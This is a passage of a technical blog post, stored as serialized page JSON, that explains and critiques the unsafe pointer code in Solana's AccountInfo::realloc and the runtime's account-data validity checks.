original\n",{"type":25,"tag":271,"props":28490,"children":28491},{"class":13593,"line":11641},[28492,28496,28500,28504,28508,28512,28516,28521,28525,28529,28533,28537,28542],{"type":25,"tag":271,"props":28493,"children":28494},{"style":13598},[28495],{"type":30,"value":27796},{"type":25,"tag":271,"props":28497,"children":28498},{"style":13603},[28499],{"type":30,"value":1860},{"type":25,"tag":271,"props":28501,"children":28502},{"style":13620},[28503],{"type":30,"value":16968},{"type":25,"tag":271,"props":28505,"children":28506},{"style":13625},[28507],{"type":30,"value":394},{"type":25,"tag":271,"props":28509,"children":28510},{"style":13598},[28511],{"type":30,"value":27796},{"type":25,"tag":271,"props":28513,"children":28514},{"style":13625},[28515],{"type":30,"value":5604},{"type":25,"tag":271,"props":28517,"children":28518},{"style":13598},[28519],{"type":30,"value":28520},"dup_info",{"type":25,"tag":271,"props":28522,"children":28523},{"style":14289},[28524],{"type":30,"value":21948},{"type":25,"tag":271,"props":28526,"children":28527},{"style":13609},[28528],{"type":30,"value":26854},{"type":25,"tag":271,"props":28530,"children":28531},{"style":13625},[28532],{"type":30,"value":5630},{"type":25,"tag":271,"props":28534,"children":28535},{"style":13603},[28536],{"type":30,"value":1860},{"type":25,"tag":271,"props":28538,"children":28539},{"style":13620},[28540],{"type":30,"value":28541},"clone",{"type":25,"tag":271,"props":28543,"children":28544},{"style":13625},[28545],{"type":30,"value":28546},"());\n",{"type":25,"tag":26,"props":28548,"children":28549},{},[28550,28552,28557,28559,28564,28566,28571,28573,28578,28579,28585,28587,28592,28594,28606,28608,28613],{"type":30,"value":28551},"Since ",{"type":25,"tag":264,"props":28553,"children":28555},{"className":28554},[],[28556],{"type":30,"value":10346},{"type":30,"value":28558}," inside the ",{"type":25,"tag":264,"props":28560,"children":28562},{"className":28561},[],[28563],{"type":30,"value":28060},{"type":30,"value":28565}," is a ",{"type":25,"tag":264,"props":28567,"children":28569},{"className":28568},[],[28570],{"type":30,"value":28443},{"type":30,"value":28572},", where the ",{"type":25,"tag":264,"props":28574,"children":28576},{"className":28575},[],[28577],{"type":30,"value":301},{"type":30,"value":28565},{"type":25,"tag":264,"props":28580,"children":28582},{"className":28581},[],[28583],{"type":30,"value":28584},"&mut [u8]",{"type":30,"value":28586}," pointing at the actual data buffer, when we clone the ",{"type":25,"tag":264,"props":28588,"children":28590},{"className":28589},[],[28591],{"type":30,"value":28060},{"type":30,"value":28593},", we get a new reference",{"type":25,"tag":28595,"props":28596,"children":28597},"sup",{},[28598],{"type":25,"tag":83,"props":28599,"children":28604},{"href":28600,"ariaDescribedBy":28601,"dataFootnoteRef":7,"id":28603},"#user-content-fn-rc-refs",[28602],"footnote-label","user-content-fnref-rc-refs",[28605],{"type":30,"value":968},{"type":30,"value":28607}," to the slice pointing at the ",{"type":25,"tag":10281,"props":28609,"children":28610},{},[28611],{"type":30,"value":28612},"same",{"type":30,"value":28614}," data buffer.",{"type":25,"tag":26,"props":28616,"children":28617},{},[28618,28620,28626,28628,28634],{"type":30,"value":28619},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":25,"tag":264,"props":28621,"children":28623},{"className":28622},[],[28624],{"type":30,"value":28625},"RefCell",{"type":30,"value":28627}," to check the rules at runtime. (The ",{"type":25,"tag":264,"props":28629,"children":28631},{"className":28630},[],[28632],{"type":30,"value":28633},"lamports",{"type":30,"value":28635}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":25,"tag":26,"props":28637,"children":28638},{},[28639,28641,28647],{"type":30,"value":28640},"Changing the data of an account is done by simply writing to ",{"type":25,"tag":264,"props":28642,"children":28644},{"className":28643},[],[28645],{"type":30,"value":28646},"AccountInfo::data",{"type":30,"value":28648},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":25,"tag":26,"props":28650,"children":28651},{},[28652,28654,28661],{"type":30,"value":28653},"This is also where the ",{"type":25,"tag":83,"props":28655,"children":28658},{"href":28656,"rel":28657},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[9066],[28659],{"type":30,"value":28660},"runtime validity checks",{"type":30,"value":28662}," are imposed.",{"type":25,"tag":7764,"props":28664,"children":28666},{"className":13586,"code":28665,"language":13585,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[28667],{"type":25,"tag":264,"props":28668,"children":28669},{"__ignoreMap":7},[28670,28678,28686,28694,28736,28754,28783,28828,28835,28859,28894,28919,28951,28966,28998,29005],{"type":25,"tag":271,"props":28671,"children":28672},{"class":13593,"line":13594},[28673],{"type":25,"tag":271,"props":28674,"children":28675},{"style":14385},[28676],{"type":30,"value":28677},"// Only the owner may change account data\n",{"type":25,"tag":271,"props":28679,"children":28680},{"class":13593,"line":11641},[28681],{"type":25,"tag":271,"props":28682,"children":28683},{"style":14385},[28684],{"type":30,"value":28685},"//   and if the account is writable\n",{"type":25,"tag":271,"props":28687,"children":28688},{"class":13593,"line":14354},[28689],{"type":25,"tag":271,"props":28690,"children":28691},{"style":14385},[28692],{"type":30,"value":28693},"//   and if the account is not executable\n",{"type":25,"tag":271,"props":28695,"children":28696},{"class":13593,"line":14391},[28697,28702,28706,28710,28714,28718,28723,28727,28732],{"type":25,"tag":271,"props":28698,"children":28699},{"style":16171},[28700],{"type":30,"value":28701},"if",{"type":25,"tag":271,"props":28703,"children":28704},{"style":13603},[28705],{"type":30,"value":25989},{"type":25,"tag":271,"props":28707,"children":28708},{"style":13625},[28709],{"type":30,"value":394},{"type":25,"tag":271,"props":28711,"children":28712},{"style":13598},[28713],{"type":30,"value":27787},{"type":25,"tag":271,"props":28715,"children":28716},{"style":13603},[28717],{"type":30,"value":16422},{"type":25,"tag":271,"props":28719,"children":28720},{"style":13598},[28721],{"type":30,"value":28722}," pre",{"type":25,"tag":271,"props":28724,"children":28725},{"style":13603},[28726],{"type":30,"value":1860},{"type":25,"tag":271,"props":28728,"children":28729},{"style":13620},[28730],{"type":30,"value":28731},"owner",{"type":25,"tag":271,"props":28733,"children":28734},{"style":13625},[28735],{"type":30,"value":20857},{"type":25,"tag":271,"props":28737,"children":28738},{"class":13593,"line":14400},[28739,28744,28749],{"type":25,"tag":271,"props":28740,"children":28741},{"style":13603},[28742],{"type":30,"value":28743},"    &&",{"type":25,"tag":271,"props":28745,"children":28746},{"style":13598},[28747],{"type":30,"value":28748}," is_writable",{"type":25,"tag":271,"props":28750,"children":28751},{"style":14385},[28752],{"type":30,"value":28753},"  // line coverage used to get branch coverage\n",{"type":25,"tag":271,"props":28755,"children":28756},{"class":13593,"line":16406},[28757,28761,28765,28769,28773,28778],{"type":25,"tag":271,"props":28758,"children":28759},{"style":13603},[28760],{"type":30,"value":28743},{"type":25,"tag":271,"props":28762,"children":28763},{"style":13603},[28764],{"type":30,"value":25989},{"type":25,"tag":271,"props":28766,"children":28767},{"style":13598},[28768],{"type":30,"value":7764},{"type":25,"tag":271,"props":28770,"children":28771},{"style":13603},[28772],{"type":30,"value":1860},{"type":25,"tag":271,"props":28774,"children":28775},{"style":13620},[28776],{"type":30,"value":28777},"executable",{"type":25,"tag":271,"props":28779,"children":28780},{"style":13625},[28781],{"type":30,"value":28782},"())\n",{"type":25,"tag":271,"props":28784,"children":28785},{"class":13593,"line":16434},[28786,28790,28794,28798,28802,28806,28811,28816,28820,28824],{"type":25,"tag":271,"props":28787,"children":28788},{"style":13603},[28789],{"type":30,"value":28743},{"type":25,"tag":271,"props":28791,"children":28792},{"style":13598},[28793],{"type":30,"value":28722},{"type":25,"tag":271,"props":28795,"children":28796},{"style":13603},[28797],{"type":30,"value":1860},{"type":25,"tag":271,"props":28799,"children":28800},{"style":13620},[28801],{"type":30,"value":10346},{"type":25,"tag":271,"props":28803,"children":28804},{"style":13625},[28805],{"type":30,"value":27164},{"type":25,"tag":271,"props":28807,"children":28808},{"style":13603},[28809],{"type":30,"value":28810},"!=",{"type":25,"tag":271,"props":28812,"children":28813},{"style":13598},[28814],{"type":30,"value":28815}," post",{"type":25,"tag":271,"props":28817,"children":28818},{"style":13603},[28819],{"type":30,"value":1860},{"type":25,"tag":271,"props":28821,"children":28822},{"style":13620},[28823],{"type":30,"value":10346},{"type":25,"tag":271,"props":28825,"children":28826},{"style":13625},[28827],{"type":30,"value":20857},{"type":25,"tag":271,"props":28829,"children":28830},{"class":13593,"line":16447},[28831],{"type":25,"tag":271,"props":28832,"children":28833},{"style":13625},[28834],{"type":30,"value":24005},{"type":25,"tag":271,"props":28836,"children":28837},{"class":13593,"line":16465},[28838,28842,28846,28850,28854],{"type":25,"tag":271,"props":28839,"children":28840},{"style":16171},[28841],{"type":30,"value":25404},{"type":25,"tag":271,"props":28843,"children":28844},{"style":13598},[28845],{"type":30,"value":28722},{"type":25,"tag":271,"props":28847,"children":28848},{"style":13603},[28849],{"type":30,"value":1860},{"type":25,"tag":271,"props":28851,"children":28852},{"style":13620},[28853],{"type":30,"value":28777},{"type":25,"tag":271,"props":28855,"children":28856},{"style":13625},[28857],{"type":30,"value":28858},"() {\n",{"type":25,"tag":271,"props":28860,"children":28861},{"class":13593,"line":16486},[28862,28867,28872,28876,28881,28885,28890],{"type":25,"tag":271,"props":28863,"children":28864},{"style":16171},[28865],{"type":30,"value":28866},"        return",{"type":25,"tag":271,"props":28868,"children":28869},{"style":13609},[28870],{"type":30,"value":28871}," Err",{"type":25,"tag":271,"props":28873,"children":28874},{"style":13625},[28875],{"type":30,"value":394},{"type":25,"tag":271,"props":28877,"children":28878},{"style":13609},[28879],{"type":30,"value":28880},"InstructionError",{"type":25,"tag":271,"props":28882,"children":28883},{"style":13603},[28884],{"type":30,"value":13617},{"type":25,"tag":271,"props":28886,"children":28887},{"style":13609},[28888],{"type":30,"value":28889},"ExecutableDataModified",{"type":25,"tag":271,"props":28891,"children":28892},{"style":13625},[28893],{"type":30,"value":13665},{"type":25,"tag":271,"props":28895,"children":28896},{"class":13593,"line":16495},[28897,28902,28906,28911,28915],{"type":25,"tag":271,"props":28898,"children":28899},{"style":13625},[28900],{"type":30,"value":28901},"    } ",{"type":25,"tag":271,"props":28903,"children":28904},{"style":16171},[28905],{"type":30,"value":16458},{"type":25,"tag":271,"props":28907,"children":28908},{"style":16171},[28909],{"type":30,"value":28910}," if",{"type":25,"tag":271,"props":28912,"children":28913},{"style":13598},[28914],{"type":30,"value":28748},{"type":25,"tag":271,"props":28916,"children":28917},{"style":13625},[28918],{"type":30,"value":16431},{"type":25,"tag":271,"props":28920,"children":28921},{"class":13593,"line":16744},[28922,28926,28930,28934,28938,28942,28947],{"type":25,"tag":271,"props":28923,"children":28924},{"style":16171},[28925],{"type":30,"value":28866},{"type":25,"tag":271,"props":28927,"children":28928},{"style":13609},[28929],{"type":30,"value":28871},{"type":25,"tag":271,"props":28931,"children":28932},{"style":13625},[28933],{"type":30,"value":394},{"type":25,"tag":271,"props":28935,"children":28936},{"style":13609},[28937],{"type":30,"value":28880},{"type":25,"tag":271,"props":28939,"children":28940},{"style":13603},[28941],{"type":30,"value":13617},{"type":25,"tag":271,"props":28943,"children":28944},{"style":13609},[28945],{"type":30,"value":28946},"ExternalAccountDataModified",{"type":25,"tag":271,"props":28948,"children":28949},{"style":13625},[28950],{"type":30,"value":13665},{"type":25,"tag":271,"props":28952,"children":28953},{"class":13593,"line":16761},[28954,28958,28962],{"type":25,"tag":271,"props":28955,"children":28956},{"style":13625},[28957],{"type":30,"value":28901},{"type":25,"tag":271,"props":28959,"children":28960},{"style":16171},[28961],{"type":30,"value":16458},{"type":25,"tag":271,"props":28963,"children":28964},{"style":13625},[28965],{"type":30,"value":16431},{"type":25,"tag":271,"props":28967,"children":28968},{"class":13593,"line":16778},[28969,28973,28977,28981,28985,28989,28994],{"type":25,"tag":271,"props":28970,"children":28971},{"style":16171},[28972],{"type":30,"value":28866},{"type":25,"tag":271,"props":28974,"children":28975},{"style":13609},[28976],{"type":30,"value":28871},{"type":25,"tag":271,"props":28978,"children":28979},{"style":13625},[28980],{"type":30,"value":394},{"type":25,"tag":271,"props":28982,"children":28983},{"style":13609},[28984],{"type":30,"value":28880},{"type":25,"tag":271,"props":28986,"children":28987},{"style":13603},[28988],{"type":30,"value":13617},{"type":25,"tag":271,"props":28990,"children":28991},{"style":13609},[28992],{"type":30,"value":28993},"ReadonlyDataModified",{"type":25,"tag":271,"props":28995,"children":28996},{"style":13625},[28997],{"type":30,"value":13665},{"type":25,"tag":271,"props":28999,"children":29000},{"class":13593,"line":16791},[29001],{"type":25,"tag":271,"props":29002,"children":29003},{"style":13625},[29004],{"type":30,"value":16501},{"type":25,"tag":271,"props":29006,"children":29007},{"class":13593,"line":16800},[29008],{"type":25,"tag":271,"props":29009,"children":29010},{"style":13625},[29011],{"type":30,"value":17058},{"type":25,"tag":247,"props":29013,"children":29015},{"id":29014},"back-to-realloc",[29016,29018],{"type":30,"value":29017},"Back to ",{"type":25,"tag":264,"props":29019,"children":29021},{"className":29020},[],[29022],{"type":30,"value":26763},{"type":25,"tag":26,"props":29024,"children":29025},{},[29026],{"type":30,"value":29027},"As a reminder, this is what we were looking at before that detour:",{"type":25,"tag":7764,"props":29029,"children":29030},{"className":13586,"code":27512,"language":13585,"meta":7,"style":7},[29031],{"type":25,"tag":264,"props":29032,"children":29033},{"__ignoreMap":7},[29034,29041,29128],{"type":25,"tag":271,"props":29035,"children":29036},{"class":13593,"line":13594},[29037],{"type":25,"tag":271,"props":29038,"children":29039},{"style":14385},[29040],{"type":30,"value":27524},{"type":25,"tag":271,"props":29042,"children":29043},{"class":13593,"line":11641},[29044,29048,29052,29056,29060,29064,29068,29072,29076,29080,29084,29088,29092,29096,29100,29104,29108,29112,29116,29120,29124],{"type":25,"tag":271,"props":29045,"children":29046},{"style":14289},[29047],{"type":30,"value":24912},{"type":25,"tag":271,"props":29049,"children":29050},{"style":13598},[29051],{"type":30,"value":26978},{"type":25,"tag":271,"props":29053,"children":29054},{"style":13603},[29055],{"type":30,"value":16155},{"type":25,"tag":271,"props":29057,"children":29058},{"style":14289},[29059],{"type":30,"value":26918},{"type":25,"tag":271,"props":29061,"children":29062},{"style":13603},[29063],{"type":30,"value":1860},{"type":25,"tag":271,"props":29065,"children":29066},{"style":13620},[29067],{"type":30,"value":26995},{"type":25,"tag":271,"props":29069,"children":29070},{"style":13625},[29071],{"type":30,"value":27000},{"type":25,"tag":271,"props":29073,"children":29074},{"style":13603},[29075],{"type":30,"value":16273},{"type":25,"tag":271,"props":29077,"children":29078},{"style":13620},[29079],{"type":30,"value":27009},{"type":25,"tag":271,"props":29081,"children":29082},{"style":13625},[29083],{"type":30,"value":27000},{"type":25,"tag":271,"props":29085,"children":29086},{"style":13603},[29087],{"type":30,"value":1860},{"type":25,"tag":271,"props":29089,"children":29090},{"style":13620},[29091],{"type":30,"value":27022},{"type":25,"tag":271,"props":29093,"children":29094},{"style":13625},[29095],{"type":30,"value":394},{"type":25,"tag":271,"props":29097,"children":29098},{"style":13603},[29099],{"type":30,"value":17459},{"type":25,"tag":271,"props":29101,"children":29102},{"style":16187},[29103],{"type":30,"value":17214},{"type":25,"tag":271,"props":29105,"children":29106},{"style":13625},[29107],{"type":30,"value":14406},{"type":25,"tag":271,"props":29109,"children":29110},{"style":14289},[29111],{"type":30,"value":21962},{"type":25,"tag":271,"props":29113,"children":29114},{"style":13603},[29115],{"type":30,"value":22940},{"type":25,"tag":271,"props":29117,"children":29118},{"style":14289},[29119],{"type":30,"value":16877},{"type":25,"tag":271,"props":29121,"children":29122},{"style":13609},[29123],{"type":30,"value":18991},{"type":25,"tag":271,"props":29125,"children":29126},{"style":13625},[29127],{"type":30,"value":16165},{"type":25,"tag":271,"props":29129,"children":29130},{"class":13593,"line":14354},[29131,29135,29139,29143,29147,29151,29155],{"type":25,"tag":271,"props":29132,"children":29133},{"style":13603},[29134],{"type":30,"value":17702},{"type":25,"tag":271,"props":29136,"children":29137},{"style":13598},[29138],{"type":30,"value":27070},{"type":25,"tag":271,"props":29140,"children":29141},{"style":13603},[29142],{"type":30,"value":16155},{"type":25,"tag":271,"props":29144,"children":29145},{"style":13598},[29146],{"type":30,"value":27079},{"type":25,"tag":271,"props":29148,"children":29149},{"style":14289},[29150],{"type":30,"value":21948},{"type":25,"tag":271,"props":29152,"children":29153},{"style":13609},[29154],{"type":30,"value":18991},{"type":25,"tag":271,"props":29156,"children":29157},{"style":13625},[29158],{"type":30,"value":16165},{"type":25,"tag":26,"props":29160,"children":29161},{},[29162,29167,29169,29174,29176,29181,29183,29194,29196,29201,29203,29208],{"type":25,"tag":264,"props":29163,"children":29165},{"className":29164},[],[29166],{"type":30,"value":26995},{"type":30,"value":29168}," gives us the ",{"type":25,"tag":264,"props":29170,"children":29172},{"className":29171},[],[29173],{"type":30,"value":28584},{"type":30,"value":29175}," from the ",{"type":25,"tag":264,"props":29177,"children":29179},{"className":29178},[],[29180],{"type":30,"value":28459},{"type":30,"value":29182},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":25,"tag":83,"props":29184,"children":29187},{"href":29185,"rel":29186},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[9066],[29188],{"type":25,"tag":264,"props":29189,"children":29191},{"className":29190},[],[29192],{"type":30,"value":29193},"slice::as_mut_ptr()",{"type":30,"value":29195}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":25,"tag":264,"props":29197,"children":29199},{"className":29198},[],[29200],{"type":30,"value":21164},{"type":30,"value":29202}," - behind the data buffer), and then writes ",{"type":25,"tag":264,"props":29204,"children":29206},{"className":29205},[],[29207],{"type":30,"value":26845},{"type":30,"value":29209}," to it.",{"type":25,"tag":26,"props":29211,"children":29212},{},[29213,29215,29227,29229,29235],{"type":30,"value":29214},"This is reasonable... ",{"type":25,"tag":10281,"props":29216,"children":29217},{},[29218,29220,29225],{"type":30,"value":29219},"as long as the ",{"type":25,"tag":264,"props":29221,"children":29223},{"className":29222},[],[29224],{"type":30,"value":10346},{"type":30,"value":29226}," actually came from the serialized buffer",{"type":30,"value":29228},". We'll come back to this ",{"type":25,"tag":83,"props":29230,"children":29232},{"href":29231},"#Not-contracts",[29233],{"type":30,"value":29234},"later",{"type":30,"value":1860},{"type":25,"tag":26,"props":29237,"children":29238},{},[29239,29241,29246],{"type":30,"value":29240},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":25,"tag":264,"props":29242,"children":29244},{"className":29243},[],[29245],{"type":30,"value":28584},{"type":30,"value":29247}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":25,"tag":7764,"props":29249,"children":29251},{"className":13586,"code":29250,"language":13585,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[29252],{"type":25,"tag":264,"props":29253,"children":29254},{"__ignoreMap":7},[29255,29263,29390],{"type":25,"tag":271,"props":29256,"children":29257},{"class":13593,"line":13594},[29258],{"type":25,"tag":271,"props":29259,"children":29260},{"style":14385},[29261],{"type":30,"value":29262},"// Then set the new length in the local slice\n",{"type":25,"tag":271,"props":29264,"children":29265},{"class":13593,"line":11641},[29266,29270,29274,29278,29282,29286,29290,29294,29298,29302,29306,29310,29314,29318,29322,29326,29330,29334,29338,29342,29346,29350,29354,29358,29362,29366,29370,29374,29378,29382,29386],{"type":25,"tag":271,"props":29267,"children":29268},{"style":14289},[29269],{"type":30,"value":24912},{"type":25,"tag":271,"props":29271,"children":29272},{"style":13598},[29273],{"type":30,"value":26978},{"type":25,"tag":271,"props":29275,"children":29276},{"style":13603},[29277],{"type":30,"value":16155},{"type":25,"tag":271,"props":29279,"children":29280},{"style":13603},[29281],{"type":30,"value":14341},{"type":25,"tag":271,"props":29283,"children":29284},{"style":14289},[29285],{"type":30,"value":16877},{"type":25,"tag":271,"props":29287,"children":29288},{"style":13603},[29289],{"type":30,"value":22940},{"type":25,"tag":271,"props":29291,"children":29292},{"style":13625},[29293],{"type":30,"value":27138},{"type":25,"tag":271,"props":29295,"children":29296},{"style":14289},[29297],{"type":30,"value":26836},{"type":25,"tag":271,"props":29299,"children":29300},{"style":13603},[29301],{"type":30,"value":1860},{"type":25,"tag":271,"props":29303,"children":29304},{"style":13625},[29305],{"type":30,"value":10346},{"type":25,"tag":271,"props":29307,"children":29308},{"style":13603},[29309],{"type":30,"value":1860},{"type":25,"tag":271,"props":29311,"children":29312},{"style":13620},[29313],{"type":30,"value":27159},{"type":25,"tag":271,"props":29315,"children":29316},{"style":13625},[29317],{"type":30,"value":27164},{"type":25,"tag":271,"props":29319,"children":29320},{"style":14289},[29321],{"type":30,"value":21962},{"type":25,"tag":271,"props":29323,"children":29324},{"style":13603},[29325],{"type":30,"value":22940},{"type":25,"tag":271,"props":29327,"children":29328},{"style":14289},[29329],{"type":30,"value":22778},{"type":25,"tag":271,"props":29331,"children":29332},{"style":13609},[29333],{"type":30,"value":18991},{"type":25,"tag":271,"props":29335,"children":29336},{"style":13625},[29337],{"type":30,"value":440},{"type":25,"tag":271,"props":29339,"children":29340},{"style":13603},[29341],{"type":30,"value":1860},{"type":25,"tag":271,"props":29343,"children":29344},{"style":13620},[29345],{"type":30,"value":27022},{"type":25,"tag":271,"props":29347,"children":29348},{"style":13625},[29349],{"type":30,"value":394},{"type":25,"tag":271,"props":29351,"children":29352},{"style":16187},[29353],{"type":30,"value":968},{"type":25,"tag":271,"props":29355,"children":29356},{"style":13625},[29357],{"type":30,"value":14406},{"type":25,"tag":271,"props":29359,"children":29360},{"style":14289},[29361],{"type":30,"value":21962},{"type":25,"tag":271,"props":29363,"children":29364},{"style":13609},[29365],{"type":30,"value":18991},{"type":25,"tag":271,"props":29367,"children":29368},{"style":13625},[29369],{"type":30,"value":14406},{"type":25,"tag":271,"props":29371,"children":29372},{"style":14289},[29373],{"type":30,"value":21962},{"type":25,"tag":271,"props":29375,"children":29376},{"style":13603},[29377],{"type":30,"value":22940},{"type":25,"tag":271,"props":29379,"children":29380},{"style":14289},[29381],{"type":30,"value":16877},{"type":25,"tag":271,"props":29383,"children":29384},{"style":13609},[29385],{"type":30,"value":18991},{"type":25,"tag":271,"props":29387,"children":29388},{"style":13625},[29389],{"type":30,"value":13665},{"type":25,"tag":271,"props":29391,"children":29392},{"class":13593,"line":14354},[29393,29397,29401,29405,29409,29413,29417],{"type":25,"tag":271,"props":29394,"children":29395},{"style":13603},[29396],{"type":30,"value":17702},{"type":25,"tag":271,"props":29398,"children":29399},{"style":13598},[29400],{"type":30,"value":27070},{"type":25,"tag":271,"props":29402,"children":29403},{"style":13603},[29404],{"type":30,"value":16155},{"type":25,"tag":271,"props":29406,"children":29407},{"style":13598},[29408],{"type":30,"value":27079},{"type":25,"tag":271,"props":29410,"children":29411},{"style":14289},[29412],{"type":30,"value":21948},{"type":25,"tag":271,"props":29414,"children":29415},{"style":13609},[29416],{"type":30,"value":18991},{"type":25,"tag":271,"props":29418,"children":29419},{"style":13625},[29420],{"type":30,"value":16165},{"type":25,"tag":26,"props":29422,"children":29423},{},[29424,29426,29432,29434,29445,29447,29453,29455,29461,29463,29468,29470,29475,29477,29487,29488,29495,29496,29503,29510,29512,29518,29520,29526,29528,29533,29535,29540,29542,29548,29550,29555],{"type":30,"value":29425},"That ",{"type":25,"tag":264,"props":29427,"children":29429},{"className":29428},[],[29430],{"type":30,"value":29431},"as_ptr()",{"type":30,"value":29433}," call is ",{"type":25,"tag":83,"props":29435,"children":29438},{"href":29436,"rel":29437},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[9066],[29439],{"type":25,"tag":264,"props":29440,"children":29442},{"className":29441},[],[29443],{"type":30,"value":29444},"RefCell::as_ptr()",{"type":30,"value":29446}," due to the ",{"type":25,"tag":264,"props":29448,"children":29450},{"className":29449},[],[29451],{"type":30,"value":29452},"Deref",{"type":30,"value":29454}," impl on ",{"type":25,"tag":264,"props":29456,"children":29458},{"className":29457},[],[29459],{"type":30,"value":29460},"Rc",{"type":30,"value":29462}," (remember also that ",{"type":25,"tag":264,"props":29464,"children":29466},{"className":29465},[],[29467],{"type":30,"value":28625},{"type":30,"value":29469}," itself doesn't behave like a reference, you need to actually ",{"type":25,"tag":10281,"props":29471,"children":29472},{},[29473],{"type":30,"value":29474},"get",{"type":30,"value":29476}," one through ",{"type":25,"tag":83,"props":29478,"children":29481},{"href":29479,"rel":29480},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[9066],[29482],{"type":25,"tag":264,"props":29483,"children":29485},{"className":29484},[],[29486],{"type":30,"value":21922},{"type":30,"value":14096},{"type":25,"tag":83,"props":29489,"children":29492},{"href":29490,"rel":29491},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[9066],[29493],{"type":30,"value":29494},"and",{"type":30,"value":14096},{"type":25,"tag":83,"props":29497,"children":29500},{"href":29498,"rel":29499},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[9066],[29501],{"type":30,"value":29502},"frie",{"type":25,"tag":83,"props":29504,"children":29507},{"href":29505,"rel":29506},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[9066],[29508],{"type":30,"value":29509},"nds",{"type":30,"value":29511},"). So from ",{"type":25,"tag":264,"props":29513,"children":29515},{"className":29514},[],[29516],{"type":30,"value":29517},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":30,"value":29519}," we get a ",{"type":25,"tag":264,"props":29521,"children":29523},{"className":29522},[],[29524],{"type":30,"value":29525},"*mut &mut [u8]",{"type":30,"value":29527}," - a ",{"type":25,"tag":10281,"props":29529,"children":29530},{},[29531],{"type":30,"value":29532},"pointer",{"type":30,"value":29534}," to the ",{"type":25,"tag":10281,"props":29536,"children":29537},{},[29538],{"type":30,"value":29539},"slice reference",{"type":30,"value":29541},". From here, we turn the pointer into a ",{"type":25,"tag":264,"props":29543,"children":29545},{"className":29544},[],[29546],{"type":30,"value":29547},"*const u64",{"type":30,"value":29549}," pointer and then offset by 1 ",{"type":25,"tag":264,"props":29551,"children":29553},{"className":29552},[],[29554],{"type":30,"value":21164},{"type":30,"value":29556}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":25,"tag":26,"props":29558,"children":29559},{},[29560,29562,29567,29569,29574,29576,29581,29583,29588,29590,29596],{"type":30,"value":29561},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":25,"tag":83,"props":29563,"children":29565},{"href":29564},"#Towards-safer-unsafe",[29566],{"type":30,"value":29234},{"type":30,"value":29568}," too, I promise. In summary, we're writing the new length as a ",{"type":25,"tag":264,"props":29570,"children":29572},{"className":29571},[],[29573],{"type":30,"value":21164},{"type":30,"value":29575}," to the region starting 8 bytes from the start of the slice ",{"type":25,"tag":10281,"props":29577,"children":29578},{},[29579],{"type":30,"value":29580},"reference",{"type":30,"value":29582}," (the ",{"type":25,"tag":264,"props":29584,"children":29586},{"className":29585},[],[29587],{"type":30,"value":28584},{"type":30,"value":29589},").So, what does ",{"type":25,"tag":264,"props":29591,"children":29593},{"className":29592},[],[29594],{"type":30,"value":29595},"&[T]",{"type":30,"value":29597}," look like in Rust?",{"type":25,"tag":26,"props":29599,"children":29600},{},[29601,29603,29610,29612,29625,29627,29633],{"type":30,"value":29602},"According to ",{"type":25,"tag":83,"props":29604,"children":29607},{"href":29605,"rel":29606},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[9066],[29608],{"type":30,"value":29609},"the reference",{"type":30,"value":29611},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":25,"tag":83,"props":29613,"children":29616},{"href":29614,"rel":29615},"https://doc.rust-lang.org/reference/type-layout.html",[9066],[29617,29619,29623],{"type":30,"value":29618},"\"Type layout can be changed with each compilation. ",{"type":25,"tag":271,"props":29620,"children":29621},{},[29622],{"type":30,"value":22714},{"type":30,"value":29624}," we only document what is guaranteed today\"",{"type":30,"value":29626},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":25,"tag":264,"props":29628,"children":29630},{"className":29629},[],[29631],{"type":30,"value":29632},"rustc",{"type":30,"value":29634},", the layout is a data pointer followed by the size; essentially the same as:",{"type":25,"tag":7764,"props":29636,"children":29639},{"className":29637,"code":29638,"language":13243,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[29640],{"type":25,"tag":264,"props":29641,"children":29642},{"__ignoreMap":7},[29643,29651,29663,29680,29693],{"type":25,"tag":271,"props":29644,"children":29645},{"class":13593,"line":13594},[29646],{"type":25,"tag":271,"props":29647,"children":29648},{"style":14385},[29649],{"type":30,"value":29650},"// C language\n",{"type":25,"tag":271,"props":29652,"children":29653},{"class":13593,"line":11641},[29654,29658],{"type":25,"tag":271,"props":29655,"children":29656},{"style":14289},[29657],{"type":30,"value":22524},{"type":25,"tag":271,"props":29659,"children":29660},{"style":13625},[29661],{"type":30,"value":29662}," slice_ref 